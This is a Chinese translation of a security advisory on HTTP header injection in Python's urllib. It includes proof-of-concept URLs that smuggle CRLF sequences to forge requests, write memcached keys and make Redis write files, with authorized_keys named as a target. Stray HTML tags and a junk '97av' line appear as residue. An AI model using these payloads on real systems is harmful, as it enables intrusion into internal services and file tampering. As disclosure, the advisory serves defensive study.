<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/papers/16905

    from:http://blog.blindspotsecurity.com/2016/06/advisory-http-header-injection-in.html

    0x00 總覽


    Python的urllib庫(在Python2中為urllib2,在Python3中為urllib)有一個HTTP協議下的協議流注入漏洞。如果攻擊者可以控制Python代碼訪問任意URL或者讓Python代碼訪問一個惡意的web servr,那這個漏洞可能會危害內網服務安全。

    0x01 問題在哪


    HTTP協議解析host的時候可以接受百分號編碼的值,解碼,然后包含在HTTP數據流里面,但是沒有進一步的驗證或者編碼,這就可以注入一個換行符。

    #!python
    #!/usr/bin/env python3  
    
    import sys
    import urllib
    import urllib.error
    import urllib.request   
    
    url = sys.argv[1]   
    
    try:
        info = urllib.request.urlopen(url).info()
        print(info)
    except urllib.error.URLError as e:
        print(e)
    

    這段代碼只是從命令行參數接收一個URL,然后去訪問它。為了查看urllib獲取的HTTP頭,我們用一個nc來監聽端口。

    #!shell
    nc -l -p 12345
    

    在正常的代碼中,我們可以這樣訪問

    #!shell
    ./fetch3.py http://127.0.0.1:12345/foo
    

    返回的HTTP頭是

    #!shell
    GET /foo HTTP/1.1
    Accept-Encoding: identity
    User-Agent: Python-urllib/3.4
    Connection: close
    Host: 127.0.0.1:12345
    

    然后我們使用惡意構造的地址

    #!shell
    ./fetch3.py http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo
    

    返回的HTTP頭就是

    #!shell
    GET /foo HTTP/1.1
    Accept-Encoding: identity
    User-Agent: Python-urllib/3.4
    Host: 127.0.0.1
    X-injected: header
    x-leftover: :12345
    Connection: close
    

    然后攻擊者可以任意注入HTTP頭了。

    這個攻擊在使用域名的時候也可以進行,但是要插入一個空字節才能進行DNS查詢。比如說,下面的URL進行解析會失敗的。

    #!shell
    http://localhost%0d%0ax-bar:%20:12345/foo
    

    但是下面的URL是可以正常解析并訪問到127.0.0.1的

    #!shell
    http://localhost%00%0d%0ax-bar:%20:12345/foo
    

    要注意的是HTTP重定向也可以利用這個漏洞,如果攻擊者提供的URL是一個惡意的web server,然后服務器可以重定向到其他的URL也可以導致協議注入。

    0x02 攻擊面


    下面會討論幾個可能導致嚴重后果的攻擊方式。當然還遠遠不夠,攻擊都需要特定的場景,有很多不同的方法可以利用,還不能確定有沒有其他的利用方式。

    HTTP頭注入和請求偽造

    這個攻擊方式由來已久了,但是和以前的請求偽造不同的是,這里僅僅是可以注入額外的HTTP頭和請求方法。當然當前場景下,能夠提交不同的HTTP方法和請求數據就已經很有用了,比如說原始的請求是這樣的

    #!shell
    GET /foo HTTP/1.1
    Accept-Encoding: identity
    User-Agent: Python-urllib/3.4
    Host: 127.0.0.1
    Connection: close
    

    攻擊者可以注入一個額外的完整的HTTP請求頭

    #!shell
    http://127.0.0.1%0d%0aConnection%3a%20Keep-Alive%0d%0a%0d%0aPOST%20%2fbar%20HTTP%2f1.1%0d%0aHost%3a%20127.0.0.1%0d%0aContent-Length%3a%2031%0d%0a%0d%0a%7b%22new%22%3a%22json%22%2c%22content%22%3a%22here%22%7d%0d%0a:12345/foo
    

    這個的響應是

    #!shell
    GET /foo HTTP/1.1
    Accept-Encoding: identity
    User-Agent: Python-urllib/3.4
    Host: 127.0.0.1
    Connection: Keep-Alive  
    
    POST /bar HTTP/1.1
    Host: 127.0.0.1
    Content-Length: 31  
    
    {"new":"json","content":"here"}
    :12345
    Connection: close
    

    demo中注入的完整的請求頭在Apache HTTPD下是工作的,但是其他的server不一定能正確的解析或者利用。這種攻擊可以用在內網攻擊上,比如未授權的REST、SOAP或者類似的服務Exploiting Server Side Request Forgery on a Node/Express Application (hosted on Amazon EC2)

    攻擊memcached

    memcached文檔中,memcached會開放幾個簡單的網絡協議接口供緩存數據讀取和存儲使用。一般來說,這種mamcached都是部署在應用服務器上,這樣多個實例之間共享數據或者進行一些操作就會比較快,不用進行數據庫操作了。要注意的是,memcached默認是都沒有密碼保護的。開發者或者管理員一般也是認為內網的應用是無法被攻擊的。

    這樣,如果我們可以控制內網的Python訪問一個URL,然后我們就可以輕松的訪問memcached了,比如

    #!shell
    http://127.0.0.1%0d%0aset%20foo%200%200%205%0d%0aABCDE%0d%0a:11211/foo
    

    就會產生下面的HTTP頭

    #!shell
    GET /foo HTTP/1.1
    Accept-Encoding: identity
    Connection: close
    User-Agent: Python-urllib/3.4
    Host: 127.0.0.1
    set foo 0 0 5
    ABCDE
    :11211
    

    當檢查下面幾行memcached的協議語法的時候,大部分都是語法錯誤,但是memcached在收到錯誤的命令的時候并不會關閉連接,這樣攻擊者就可以在請求的任何位置注入命令了,然后memcached就會執行。下面是memcached的響應(memcached是Debian下包管理默認配置安裝的)

    #!shell
    ERROR
    ERROR
    ERROR
    ERROR
    ERROR
    STORED
    ERROR
    ERROR
    

    經過確認,memcached中確實成功的插入了foo的值。這種場景下,攻擊者就可以給內網的memcached實例發送任意命令了。如果應用依賴于memcached中存儲的數據(比如用戶的session數據,HTML或者其他的敏感數據),攻擊者可能獲取應用更高的權限了。這個利用方式還可以造成拒絕服務攻擊,就是攻擊者可以在memcached中存儲大量的數據。

    攻擊Redis

    Redis和memcached很相似,因為都提供了數據備份存儲,一些內置數據類型,還能執行Lua腳本。前幾年Quite a bit公布了攻擊Redis的一些方法(鏈接1 鏈接2 鏈接3)。和memcached類似,Redis提供了TCP協議的接口,然后也可以執行一堆錯誤命令中的正確命令。另外,還可以利用Redis在寫任意文件,攻擊者可以控制一部分文件內容。比如下面的URL在/tmp/evil下創建了一個數據庫文件。

    #!shell
    http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0aSET%20foo%20bar%0d%0aSAVE%0d%0a:6379/foo
    

    然后可以看到剛才存儲的一些鍵值對數據

    #!shell
    # strings -n 3 /tmp/evil
    REDIS0006
    foo
    bar
    

    理論上,攻擊者就可以利用Redis創建或者改寫一些敏感文件了,包括

    #!shell
     ~redis/.profile
     ~redis/.ssh/authorized_keys
    ...
    

    0x03 多版本的Python都受到影響


    Python 2和3版本都受到影響,Cedric Buissart 提供了修復問題的部分信息。

    3.4 / 3.5 : revision 94952
    2.7 : revision 94951

    雖然已經在最新的版本中修復了,但是很多系統的穩定版是沒法得到修復的,比如最新的Debian Stable就還存在這個漏洞。

    0x04 我的一點思考


    Redis和memcached的開發者提供的默認配置是沒有密碼的,這個是不負責任的。當然,我能理解他們認為這些東西應該在"可信的內網"中使用。問題,實際上很少的內網能比外網更安全。未授權的服務即使監聽在localhost,也會受到影響的。在安裝過程中加一個隨機生成的密碼也并不難,開發者應該嚴肅的面對安全問題。

    0x05 譯者注


    97av